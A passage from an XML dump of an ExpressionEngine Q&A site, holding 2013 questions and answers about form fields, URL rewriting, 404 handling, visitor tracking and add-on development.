&quot;name&quot;, &quot;playa_field[selections][]&quot; );&#xA;            }&#xA;        });&#xA;    });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This also seems to work, I can see the &quot;name&quot; attribute get changed in the Safari developer tools. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now, when I submit the field I get a bunch of the following PHP errors:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Severity: Warning&#xA;&#xA;Message: array_filter() expects parameter 1 to be array, string given&#xA;&#xA;Filename: playa/ft.playa.php&#xA;&#xA;Line Number: 2356&#xA;&#xA;Severity: Warning&#xA;&#xA;Message: array_merge() [function.array-merge]: Argument #1 is not an array&#xA;&#xA;Filename: playa/ft.playa.php&#xA;&#xA;Line Number: 2356&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="779" LastEditorUserId="779" LastEditDate="2013-09-24T05:58:55.183" LastActivityDate="2013-09-24T08:38:55.713" Title="Populate a playa hidden input field" Tags="|safecracker|playa|channel-form|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14002" PostTypeId="2" ParentId="14001" CreationDate="2013-09-23T17:38:50.630" Score="2" Body="&lt;p&gt;You'll want to actually use multiple hidden fields, each adding to an array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;cf_playa_field[selections][]&quot; value=&quot;123&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;cf_playa_field[selections][]&quot; value=&quot;456&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could also potentially write an extension to rework the POST data if you absolutely must submit the values in one field.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-09-23T17:38:50.630" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14003" PostTypeId="2" ParentId="13944" CreationDate="2013-09-23T17:47:09.767" Score="1" Body="&lt;p&gt;Like @PonderTheWeb I don't see anything wrong with the code you've posted.&lt;/p&gt;&#xA;&lt;p&gt;Can you confirm that you have PHP on in the template by doing a simple:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;? echo &amp;quot;hello world&amp;quot;; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But much more importantly:&lt;/p&gt;&#xA;&lt;h3&gt;Don't trust user input!&lt;/h3&gt;&#xA;&lt;p&gt;It is not good security practice to simply pass forward your $_GET variables without sanitizing them first.&lt;/p&gt;&#xA;&lt;p&gt;Fortunately EE makes this pretty easy for you.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// Load EE's Global Input Class&#xA;global $IN;&#xA;&#xA;// Pass the EE Global inputs forward to the variable you want to use.&#xA;$first_name = $IN-&amp;gt;GBL('first_name');&#xA;$last_name = $IN-&amp;gt;GBL('last_name');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="210" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2013-09-23T17:47:09.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14004" PostTypeId="1" CreationDate="2013-09-23T18:00:56.887" Score="-1" ViewCount="65" Body="&lt;p&gt;I'm new in EE, I was wondering is there anyway I can track the visitors that enter to my EE website? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where do I click-on to see the # website visitors?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me :)&lt;/p&gt;&#xA;" OwnerUserId="2092" LastActivityDate="2013-09-23T21:14:30.547" Title="I can't track website visitors" Tags="|ee2|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14005" PostTypeId="2" ParentId="13994" CreationDate="2013-09-23T18:25:38.040" Score="1" Body="&lt;p&gt;You can also fixate your embedding templates with {embed=&quot;site_a:_inc/_header&quot;} and that will tell EE where to find your templates. This way you can share all of your templates across multiple sites without having to update those templates individually.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2013-09-23T18:25:38.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14006" PostTypeId="1" CreationDate="2013-09-23T18:28:12.770" Score="1" ViewCount="90" Body="&lt;p&gt;I have an existing working live store running CartThrob using Moneris as the payment gateway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to add subscriptions (auto renewal) but CartThrob has not developed a payment gateway to work with subscriptions even though Moneris seems to offer vault/token requirements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was hoping to maybe use Stripe as an option JUST for subscriptions but I need to use Moneris for all other purchases.  I though maybe I could use a gateway selector and get people to choose Stripe is they are purchasing a subscription but then I found out the Stripe does not like the gateway switcher and will through you errors based on the JS they use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any ideas?  I have have ZERO luck getting any feedback or support directly from Cart Throb. Tries to get a quote for developing a new Moneris plugin that would work with  subscriptions.  They didn't even reply.&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-09-23T18:28:12.770" Title="Cart Throb / Subscriptions Gateway issues" Tags="|cartthrob|shopping-cart|subscriptions|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14007" PostTypeId="1" CreationDate="2013-09-23T19:36:21.337" Score="3" ViewCount="161" Body="&lt;p&gt;Trying to do something I feel should be very simple to execute, but I cannot for the life of me seem to get it to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my template snippet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:parse var=&quot;lv_home_featured_images&quot; limit=&quot;1&quot; orderby=&quot;random&quot;}&#xA;{exp:ce_img:single src=&quot;{url}&quot; height=&quot;500&quot; width=&quot;1200&quot; crop=&quot;yes&quot; attributes=&quot;style='width:1200px;height:500px;' alt='ALT'&quot;}&#xA;{/exp:low_variables:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've got two images loaded into a Low Variable which has a fieldtype set to Assets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of getting just one random image selected, the same image keeps coming up over and over.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running EE 2.7.0, Low Vars 2.3.5 and Assets 2.1.4. Any insight would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&#xA;~&#xA;Wes&lt;/p&gt;&#xA;" OwnerUserId="2093" LastActivityDate="2013-09-24T00:23:44.040" Title="Assets + Low Variables // Limiting and Ordering By &quot;Random&quot;" Tags="|assets|low-variables|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14008" PostTypeId="2" ParentId="13950" CreationDate="2013-09-23T20:28:26.670" Score="4" Body="&lt;p&gt;I'm the developer behind Backup Pro(ish) so I may be able to help here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, the email you're receiving is from your systems Cron mechanism and not Backup Pro(ish). I can tell that just from the content of the email (BPs email is completely different). Really, I have zero control over that email; you'll have to contact your host to modify the setup on that if you're unable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, when you run a &lt;code&gt;wget&lt;/code&gt; command, which the basic Backup Pro(ish) Cron command uses, on some systems it'll save the output to the server unless instructed otherwise. One of the more irritating things about the &lt;code&gt;wget&lt;/code&gt; program is that there's no standard installation or base configuration that's across all platforms. So, for example, on my systems, the command in Backup Pro(ish) doesn't save the output nor send an email. On yours, it does apparently. Your host should be able to help you with disabling &lt;code&gt;wget&lt;/code&gt; file output when it runs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, as to why it's not running, I'm just as confused as you are on that. But, with you confirming that pasting the Cron URL into your browser executes the backup successfully I'm confident the issue lies in your network. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One cause for this would be if your server doesn't know your site URL exists on the physical server then it doesn't know where to send the request. Weird, I know, but when you're setting up a server it's rarely a given that the server your site lives on knows it does outside of Apache (DNS would have to be configured on it). I've seen this many, many, many, many, many times in fact. A simple update to your server's host entry (as you would do in Windows or OSX) to tell your OS that your URL lives on itself should sort you out. Your host should be able to help there. &lt;/p&gt;&#xA;" OwnerUserId="169" LastActivityDate="2013-09-23T20:28:26.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14009" PostTypeId="2" ParentId="11510" CreationDate="2013-09-23T20:39:07.747" Score="1" Body="&lt;p&gt;Increasing your PHP memory should be a last resort and is pretty much NEVER advisable. Judging from your error it looks like an upload FT is using really poor practices for handling the files you're managing (there is rarely a reason to open an entire file into PHPs memory like that). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Were it me, I'd look into either moving away from that specific add-on to something that handles files with a little more care or creating a special case for that specific entry/file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, 256MB of memory is just insane. Really, that's a lot of memory to allow PHP to use so you may see some really negative side effects.  &lt;/p&gt;&#xA;" OwnerUserId="169" LastActivityDate="2013-09-23T20:39:07.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14010" PostTypeId="2" ParentId="14004" CreationDate="2013-09-23T21:08:18.673" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://google.com/analytics&quot; rel=&quot;nofollow&quot;&gt;Google Analytics&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can track individual views to entries by using the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#track-views&quot; rel=&quot;nofollow&quot;&gt;track_views&lt;/a&gt; parameter in your Channel Entries tag, so this could be mapped to individual pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or possibly your hosting has tracking built in...?&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-09-23T21:08:18.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14011" PostTypeId="2" ParentId="14004" CreationDate="2013-09-23T21:14:30.547" Score="2" Body="&lt;p&gt;In addition to &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/hit_counter.html&quot; rel=&quot;nofollow&quot;&gt;track-views functionality&lt;/a&gt; for individual channel entries, there's also the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/referrer/&quot; rel=&quot;nofollow&quot;&gt;referrers module&lt;/a&gt; and template, but what it shows you is kind of limited (who landed on which page coming from where, using what IP and user-agent, basically.) More on that referrer module, and its template, in the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/referrer/&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I would use the referrer template as a quick-check, but DEFINITELY back it up with something far more thorough like Google Analytics.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: there's also a way to display the number of total hits and unique visitors. That's the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/statistics/&quot; rel=&quot;nofollow&quot;&gt;stats module&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerDisplayName="user800" LastActivityDate="2013-09-23T21:14:30.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14012" PostTypeId="1" AcceptedAnswerId="14014" CreationDate="2013-09-23T23:51:14.937" Score="2" ViewCount="315" Body="&lt;p&gt;A client has put their website through some QA testing, and one of the items of feedback is that the home page of the site doesn't generate a 404 error when a query string is added to the home page URL, e.g. &lt;a href=&quot;http://mywebsite.com/?dfdfdfd=dfdfdfd&amp;amp;dfdfdfd&quot; rel=&quot;nofollow&quot;&gt;http://mywebsite.com/?dfdfdfd=dfdfdfd&amp;amp;dfdfdfd&lt;/a&gt; This only seems to affect the home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to make a URL like this go to a 404 page, instead of loading the home page? If so, how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hoped to use the redirect tag and to redirect the home page to a 404 page if segment_1 wasn't blank, but that doesn't work as EE doesn't seem to see the query string with segment conditionals (as expected).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using strict URLs and have my 404 page setup correctly. Going to &lt;a href=&quot;http://mywebsite.com/anythingsdfdd&quot; rel=&quot;nofollow&quot;&gt;http://mywebsite.com/anythingsdfdd&lt;/a&gt; generates a 404 as expected. So it's just the query string URLs  on the home page that I'm having issues with. Thanks in advance for any help.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-10-10T03:46:31.547" Title="How to make home page redirect to 404 error page when query string is added to URL" Tags="|error|404|querystring|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14013" PostTypeId="2" ParentId="14007" CreationDate="2013-09-24T00:23:44.040" Score="1" Body="&lt;p&gt;Check out low's random addon - FREE.  &lt;a href=&quot;http://gotolow.com/addons/low-random/docs&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/addons/low-random/docs&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="719" LastActivityDate="2013-09-24T00:23:44.040" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14014" PostTypeId="2" ParentId="14012" CreationDate="2013-09-24T01:28:46.350" Score="4" Body="&lt;p&gt;&lt;strong&gt;If you are using EE 2.7+&lt;/strong&gt; there is a new &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/single_variables.html#current-query-string&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;current_query_string&lt;/code&gt;&lt;/a&gt; global variable you can test against.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if current_query_string}&#xA;    {redirect=&quot;404&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Or, for versions less than EE 2.7&lt;/strong&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Install the &lt;a href=&quot;https://github.com/rsanchez/mo_variables&quot; rel=&quot;nofollow&quot;&gt;Mo Variables Extension&lt;/a&gt; and enable the setting that gives you a &lt;code&gt;{query_string}&lt;/code&gt; variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in your homepage template you can do&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if query_string}&#xA;    {redirect=&quot;404&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-10-10T03:46:31.547" LastActivityDate="2013-10-10T03:46:31.547" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14015" PostTypeId="2" ParentId="13983" CreationDate="2013-09-24T02:12:23.890" Score="2" Body="&lt;p&gt;You should be able to use an html entity to overcome this. Try changing your [I] (capital i?) to: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[&amp;amp;#73;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in your EE entries and see if that works.&lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-09-24T02:12:23.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14017" PostTypeId="1" CreationDate="2013-09-24T06:09:21.977" Score="1" ViewCount="116" Body="&lt;p&gt;I have a wierd problem with my 2.4.0 install. After I moved servers my file manager navigation/pagination (1,2,3) and the &quot;thumbnail&quot; option in the dropdown selection stopped working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clicking a navigation item just send the user to the site homepage. The URL it's trying to load is this (on hover): &lt;a href=&quot;http://domain.com/system/C=content_publish&amp;amp;M=filemanager_actions&amp;amp;action=directory_contents&amp;amp;tbl_offset=15&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/system/C=content_publish&amp;amp;M=filemanager_actions&amp;amp;action=directory_contents&amp;amp;tbl_offset=15&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried re-uploing the entire /themes/ folder but that didn't do it. Everything else on the site is also working like it should.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should also note that the file-uploading etc. within the window works - it's just the navigationi/pagination and &quot;thumbnails&quot; view that isn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="911" LastActivityDate="2013-12-06T01:57:47.307" Title="File manager navigation/pagination doesn't work" Tags="|file-manager|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14018" PostTypeId="1" CreationDate="2013-09-24T08:05:42.420" Score="3" ViewCount="599" Body="&lt;p&gt;I would like to have 'strict URLs' enabled, but see I have to include the template group name in the URL for the pages to link correctly (else the 404 shows).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All groups are fine but one. I have a group called 'site' where all misc pages are listed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to have only this folder removed similarly to index.php with the htaccess?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2013-09-24T15:38:14.127" Title="Strict URLs / Removing one template group name" Tags="|htaccess|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14019" PostTypeId="2" ParentId="14001" CreationDate="2013-09-24T08:38:55.713" Score="1" Body="&lt;p&gt;OK, I got this squared away. It seems like my name=&quot;0&quot; inputs were causing the errors. Now I remove the complete hidden input when a checkbox is unchecked and create a new one on the fly when a checkbox is checked. &lt;/p&gt;&#xA;" OwnerUserId="779" LastActivityDate="2013-09-24T08:38:55.713" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14020" PostTypeId="2" ParentId="14018" CreationDate="2013-09-24T09:23:42.633" Score="2" Body="&lt;p&gt;You're not actually hiding index.php with .htaccess, you're adding it (hidden) to the URL a person accesses. So you're not going to be removing (hiding) the template group, you'll be adding it the urls that require it. And that I think is the problem - knowing what URL's require the addition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way I can think of is to hard code the template segments to identify when it should be added:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond $1 ^(sitemap\.xml|sitemap_index\.xml|fb-page)$ [NC]&#xA;RewriteRule ^(.*)$ /index.php/site/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the above example I have 3 templates in the 'site' group I want to be accessible directly:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;sitemap.xml&lt;/li&gt;&#xA;&lt;li&gt;sitemap_index.xml&lt;/li&gt;&#xA;&lt;li&gt;fb-page&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-09-24T09:23:42.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14021" PostTypeId="2" ParentId="13912" CreationDate="2013-09-24T09:25:34.033" Score="0" Body="&lt;p&gt;Apparently it is a bug that only effects native EE relationship fields. Marvellous..&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2013-09-24T09:25:34.033" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14023" PostTypeId="1" AcceptedAnswerId="14027" CreationDate="2013-09-24T14:12:29.140" Score="0" ViewCount="488" Body="&lt;p&gt;I finally have a project to use SAEF/Channel Forms in and I am banging my head against the wall trying to display the wygwam fields. Does anyone know the trick here?&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2013-09-24T16:42:23.537" Title="Displaying a Wygwam field in a SAEF/Channel_Form entry" Tags="|ee2|pixelandtonic|wygwam|channel-form|saef|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14024" PostTypeId="1" AcceptedAnswerId="14031" CreationDate="2013-09-24T14:17:10.667" Score="2" ViewCount="364" Body="&lt;p&gt;I can't find any resources explaining how to use the update() method of a .upd file in module development. All the tutorials gloss over it saying things like;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;we don't need this right now, so we just return TRUE&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I do need it - I'd like to add another action into the database without having to reinstall my module, can anybody point me in the right direction please?&lt;/p&gt;&#xA;" OwnerUserId="1964" LastActivityDate="2013-09-24T17:23:36.987" Title="How do I add a new action in update method of my .upd module file?" Tags="|add-on-development|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14026" PostTypeId="2" ParentId="14024" CreationDate="2013-09-24T14:24:55.353" Score="2" Body="&lt;p&gt;First you need to get the version of your add-on so know if you should run any update functions or not. Replace the &quot;ENTER_YOUR_CURRENT_VERSION_HERE&quot; with the current version of your add-on. You could do this like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function update($current = '')&#xA;{&#xA;    // Is the current version (from database) lower then the version for your current add-on?&#xA;    if ($current &amp;lt; ENTER_YOUR_CURRENT_VERSION_HERE)&#xA;    {&#xA;        // Do something to update to version X.X.X&#xA;    return TRUE;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you could just keep adding these IF-statements for all version updates. This approach is pretty basic, if you an add-on with multiple version and releases here and there you should make this functions a little better with loading new version updates from flat files or something better. Let's say a user wants to update 3 version in a row, then you want all the updates to run after each other. Then you need a better loop code to execute all updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also when you are done you need the function to return TRUE.&lt;/p&gt;&#xA;" OwnerUserId="911" LastActivityDate="2013-09-24T14:24:55.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14027" PostTypeId="2" ParentId="14023" CreationDate="2013-09-24T15:07:01.160" Score="1" Body="&lt;p&gt;You should just need to type &lt;code&gt;{field:wygwam_field_name}&lt;/code&gt; within the &lt;code&gt;{exp:channel:form}&lt;/code&gt; tag pair.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-09-24T15:07:01.160" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14028" PostTypeId="2" ParentId="14023" CreationDate="2013-09-24T15:11:34.983" Score="0" Body="&lt;p&gt;I couldn't add all this in a comment:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks Brandon. I see in the console that the field is attempting to populate, but I have the following errors in the console log: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Resource interpreted as Script but transferred with MIME type text/html: &quot;&lt;a href=&quot;http://itnqa.com/docs/config.js?t=D7GG&quot; rel=&quot;nofollow&quot;&gt;http://itnqa.com/docs/config.js?t=D7GG&lt;/a&gt;&quot;.&#xA;Uncaught SyntaxError: Unexpected token &amp;lt; config.js:1&#xA;Resource interpreted as Stylesheet but transferred with MIME type text/html: &quot;&lt;a href=&quot;http://itnqa.com/docs/skins/wygwam3/editor.css?t=D7GG&quot; rel=&quot;nofollow&quot;&gt;http://itnqa.com/docs/skins/wygwam3/editor.css?t=D7GG&lt;/a&gt;&quot;.&#xA;Resource interpreted as Script but transferred with MIME type text/html: &quot;&lt;a href=&quot;http://itnqa.com/docs/lang/en.js?t=D7GG&quot; rel=&quot;nofollow&quot;&gt;http://itnqa.com/docs/lang/en.js?t=D7GG&lt;/a&gt;&quot;.&#xA;Uncaught SyntaxError: Unexpected token &amp;lt; en.js:1&#xA;Resource interpreted as Script but transferred with MIME type text/html: &quot;&lt;a href=&quot;http://itnqa.com/docs/styles.js?t=D7GG&quot; rel=&quot;nofollow&quot;&gt;http://itnqa.com/docs/styles.js?t=D7GG&lt;/a&gt;&quot;.&#xA;Uncaught SyntaxError: Unexpected token &amp;lt; styles.js:1&#xA;Resource interpreted as Script but transferred with MIME type text/html: &quot;&lt;a href=&quot;http://itnqa.com/docs/plugins/stylesheetparser/plugin.js?t=D7GG&quot; rel=&quot;nofollow&quot;&gt;http://itnqa.com/docs/plugins/stylesheetparser/plugin.js?t=D7GG&lt;/a&gt;&quot;.&#xA;Uncaught SyntaxError: Unexpected token &amp;lt; plugin.js:1&#xA;Uncaught TypeError: Cannot read property 'icons' of null&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;* ADDING CODE *&lt;/strong&gt;&#xA;I am using the following to open a colorBox popup to host the edit template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_in}&#xA;    &amp;lt;div class=&quot;gallery&quot;&amp;gt;&#xA;        &amp;lt;a class=&quot;button green&quot; href=&quot;{site_url}includes/edit/{url_title}&quot; title=&quot;Editing ITN# {title}&quot;&amp;gt;&amp;lt;i class=&quot;icon-pencil&quot;&amp;gt;&amp;lt;/i&amp;gt; &amp;amp;nbsp;Click to Edit&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in my template for edit, I have this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form &#xA;    channel=&quot;doc&quot; &#xA;    id=&quot;publishForm&quot;&#xA;    return=&quot;docs/{last_segment}&quot; &#xA;    url_title=&quot;{last_segment}&quot;&#xA;}&#xA;    &amp;lt;label for=&quot;title&quot;&amp;gt;ITN Number&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;title&quot; id=&quot;title&quot; value=&quot;{title}&quot; size=&quot;50&quot; maxlength=&quot;100&quot; onKeyUp=&quot;liveUrlTitle();&quot;&amp;gt;&#xA;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;url_title&quot; id=&quot;url_title&quot; value=&quot;{url_title}&quot; maxlength=&quot;75&quot; size=&quot;50&quot; style=&quot;display: none;&quot;&amp;gt;&#xA;&#xA;    &amp;lt;label for=&quot;itn_title&quot;&amp;gt;ITN Title&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;itn_title&quot; id=&quot;itn_title&quot; value=&quot;{itn_title}&quot; size=&quot;50&quot; maxlength=&quot;750&quot;&amp;gt;&#xA;&#xA;    {label:symptoms}&#xA;    {field:symptoms}&#xA;&#xA;    {label:cause}&#xA;    {field:cause}&#xA;&#xA;    {label:resolution}&#xA;    {field:resolution}&#xA;&#xA;    &amp;lt;input class=&quot;button green&quot; type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot;&amp;gt;&#xA;{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;* ADDED *&lt;/strong&gt;&#xA;This is on IIS you mentioned htaccess, but with this site I have to use web.config. I have the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&#xA;&amp;lt;configuration&amp;gt;&#xA;    &amp;lt;system.webServer&amp;gt;&#xA;        &amp;lt;defaultDocument&amp;gt;&#xA;            &amp;lt;files&amp;gt;&#xA;                &amp;lt;add value=&quot;index.php&quot; /&amp;gt;&#xA;            &amp;lt;/files&amp;gt;&#xA;        &amp;lt;/defaultDocument&amp;gt;&#xA;        &amp;lt;rewrite&amp;gt;&#xA;            &amp;lt;rules&amp;gt;&#xA;                &amp;lt;rule name=&quot;index.php&quot; stopProcessing=&quot;true&quot;&amp;gt;&#xA;                    &amp;lt;match url=&quot;^(.*)$&quot; ignoreCase=&quot;false&quot; /&amp;gt;&#xA;                    &amp;lt;conditions logicalGrouping=&quot;MatchAll&quot;&amp;gt;&#xA;                        &amp;lt;add input=&quot;{R:1}&quot; negate=&quot;true&quot; pattern=&quot;^(pdfs|css|js|swf|skins|plugins|images|tools|themes|admin|index\.php)&quot; /&amp;gt;&#xA;                    &amp;lt;/conditions&amp;gt;&#xA;                    &amp;lt;action type=&quot;Rewrite&quot; url=&quot;/index.php/{R:1}&quot; /&amp;gt;&#xA;                &amp;lt;/rule&amp;gt;&#xA;            &amp;lt;/rules&amp;gt;&#xA;        &amp;lt;/rewrite&amp;gt;&#xA;    &amp;lt;/system.webServer&amp;gt;&#xA;&amp;lt;/configuration&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3139" LastEditorUserId="3139" LastEditDate="2013-09-24T16:42:23.537" LastActivityDate="2013-09-24T16:42:23.537" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="14029" PostTypeId="1" CreationDate="2013-09-24T15:12:43.140" Score="2" ViewCount="164" Body="&lt;p&gt;I have problem with related entries. I want to get related entries into a related entry. We are a travel agency and want to show selected travel packages in a &quot;deals template&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Channels are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;deals, travel_packages, destinatios&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Deals&#xA;    deal_01     relationship (to travel_packages)&#xA;    deal_01     relationship (to travel_packages) &#xA;    deal_01     relationship (to travel_packages)&#xA;    deal_01     relationship (to travel_packages) &#xA;    deal_01     relationship (to travel_packages)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;travel_packages &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;date        text input&#xA;price       text input&#xA;taxes       text input&#xA;date        date&#xA;destination relationship (to destinations)&#xA;hotel       text input      